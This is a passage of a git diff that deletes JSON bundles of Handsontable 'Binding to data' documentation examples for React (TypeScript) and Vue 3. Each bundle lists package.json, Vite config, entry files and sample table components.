\"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data: Array> = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n];\n\nconst ExampleComponent: FC = () => (\n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/binding-to-data/react/example1.tsx","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/binding-to-data","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example2.tsx.json deleted file mode 100644 index 7b5e9438..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Getting Started ▸ Binding to data · Array of arrays with a selective display of columns · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data: Array> = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n];\n\nconst ExampleComponent: FC = () => (\n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/binding-to-data/react/example2.tsx","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example2","exampleTitle":"Array of arrays with a selective display of columns","docPermalink":"/binding-to-data","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example3.tsx.json deleted file mode 100644 index bb6198ac..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example3.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Getting Started ▸ Binding to data · Array of objects · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\ninterface Person {\n id: number;\n name: string;\n address: string;\n}\n\nconst data: Person[] = [\n { id: 1, name: 'Ted Right', address: '' },\n { id: 2, name: 'Frank Honest', address: '' },\n { id: 3, name: 'Joan Well', address: '' },\n { id: 4, name: 'Gail Polite', address: '' },\n { id: 5, name: 'Michael Fair', address: '' },\n];\n\nconst ExampleComponent: FC = () => (\n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/binding-to-data/react/example3.tsx","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example3","exampleTitle":"Array of objects","docPermalink":"/binding-to-data","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example4.tsx.json deleted file mode 100644 index e31312c8..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example4.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Getting Started ▸ Binding to data · Array of objects with column as a function · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\ninterface Person {\n id: number;\n name?: { first: string; last: string };\n address: string;\n}\n\nconst ExampleComponent: FC = () => {\n const data: Person[] = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' }, // Handsontable will create missing properties on demand\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n ];\n\n return (\n {\n let columnMeta = {};\n\n if (column === 0) {\n columnMeta.data = 'id';\n } else if (column === 1) {\n columnMeta.data = 'name.first';\n } else if (column === 2) {\n columnMeta.data = 'name.last';\n } else if (column === 3) {\n columnMeta.data = 'address';\n } else {\n columnMeta = {};\n }\n\n return columnMeta;\n }}\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/binding-to-data/react/example4.tsx","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example4","exampleTitle":"Array of objects with column as a function","docPermalink":"/binding-to-data","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example5.tsx.json deleted file mode 100644 index f4a5700a..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example5.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Getting Started ▸ Binding to data · Array of objects with column mapping · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example5\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\ninterface Person {\n id: number;\n name?: { first: string; last: string };\n address: string;\n}\n\nconst data: Person[] = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' }, // Handsontable will create missing properties on demand\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n];\n\nconst ExampleComponent: FC = () => (\n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/binding-to-data/react/example5.tsx","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example5","exampleTitle":"Array of objects with column mapping","docPermalink":"/binding-to-data","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example6.tsx.json deleted file mode 100644 index 142282a7..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example6.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Getting Started ▸ Binding to data · Array of objects with custom data schema · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example6\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent: FC = () => (\n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/binding-to-data/react/example6.tsx","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example6","exampleTitle":"Array of objects with custom data schema","docPermalink":"/binding-to-data","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example7.tsx.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example7.tsx.json deleted file mode 100644 index 302f8111..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example7.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Getting Started ▸ Binding to data · Function data source and schema · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example7\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\ninterface Person {\n id: number | undefined;\n name: string | undefined;\n address: string | undefined;\n attr: (attr: string, val?: Handsontable.CellValue) => keyof Person | Person;\n}\n\n// register Handsontable's modules\nregisterAllModules();\n\ninterface ModelOptions {\n [x: string]: any;\n id?: number;\n name?: string;\n address?: string;\n hasOwnProperty?: (prop: string) => boolean;\n}\n\ntype PrivPerson = {\n [K in keyof Person]: Person[K];\n} & { [key: string]: any };\n\nfunction model(opts: ModelOptions): Partial {\n const _pub: Partial = {\n id: undefined,\n name: undefined,\n address: undefined,\n attr: undefined,\n };\n\n const _priv: Partial = {};\n\n for (const i in opts) {\n if (opts.hasOwnProperty && opts.hasOwnProperty(i)) {\n _priv[i] = opts[i];\n }\n }\n\n _pub.attr = function (attr: keyof Person | string, val?: Handsontable.CellValue) {\n if (typeof val === 'undefined') {\n window.console && console.log('GET the', attr, 'value of', _pub);\n\n return _priv[attr];\n }\n\n window.console && console.log('SET the', attr, 'value of', _pub);\n _priv[attr] = val;\n\n return _pub;\n };\n\n return _pub;\n}\n\nfunction property(attr: keyof Person | string) {\n return (row: Handsontable.RowObject | Handsontable.CellValue[], value?: Handsontable.CellValue) => (row as unknown as Person).attr(attr, value);\n}\n\nconst data: Partial[] = [\n model({ id: 1, name: 'Ted Right', address: '' }),\n model({ id: 2, name: 'Frank Honest', address: '' }),\n model({ id: 3, name: 'Joan Well', address: '' }),\n model({ id: 4, name: 'Gail Polite', address: '' }),\n model({ id: 5, name: 'Michael Fair', address: '' }),\n];\n\nconst ExampleComponent: FC = () => (\n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/binding-to-data/react/example7.tsx","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example7","exampleTitle":"Function data source and schema","docPermalink":"/binding-to-data","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example1.vue.json deleted file mode 100644 index 50231201..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Getting Started ▸ Binding to data · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/binding-to-data/vue/example1.vue","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/binding-to-data","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example2.vue.json deleted file mode 100644 index b8efe06f..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Getting Started ▸ Binding to data · Array of arrays with a selective display of columns · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/binding-to-data/vue/example2.vue","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example2","exampleTitle":"Array of arrays with a selective display of columns","docPermalink":"/binding-to-data","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example3.vue.json deleted file mode 100644 index d92aa572..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example3.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Getting Started ▸ Binding to data · Array of objects · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/binding-to-data/vue/example3.vue","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example3","exampleTitle":"Array of objects","docPermalink":"/binding-to-data","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example4.vue.json deleted file mode 100644 index 4c54a791..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example4.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Getting Started ▸ Binding to data · Array of objects with column as a function · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/binding-to-data/vue/example4.vue","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example4","exampleTitle":"Array of objects with column as a function","docPermalink":"/binding-to-data","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example5.vue.json deleted file mode 100644 index cac1dd28..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example5.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Getting Started ▸ Binding to data · Array of objects with column mapping · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example5\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/binding-to-data/vue/example5.vue","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example5","exampleTitle":"Array of objects with column mapping","docPermalink":"/binding-to-data","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example6.vue.json deleted file mode 100644 index 8c624b86..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example6.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Getting Started ▸ Binding to data · Array of objects with custom data schema · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite 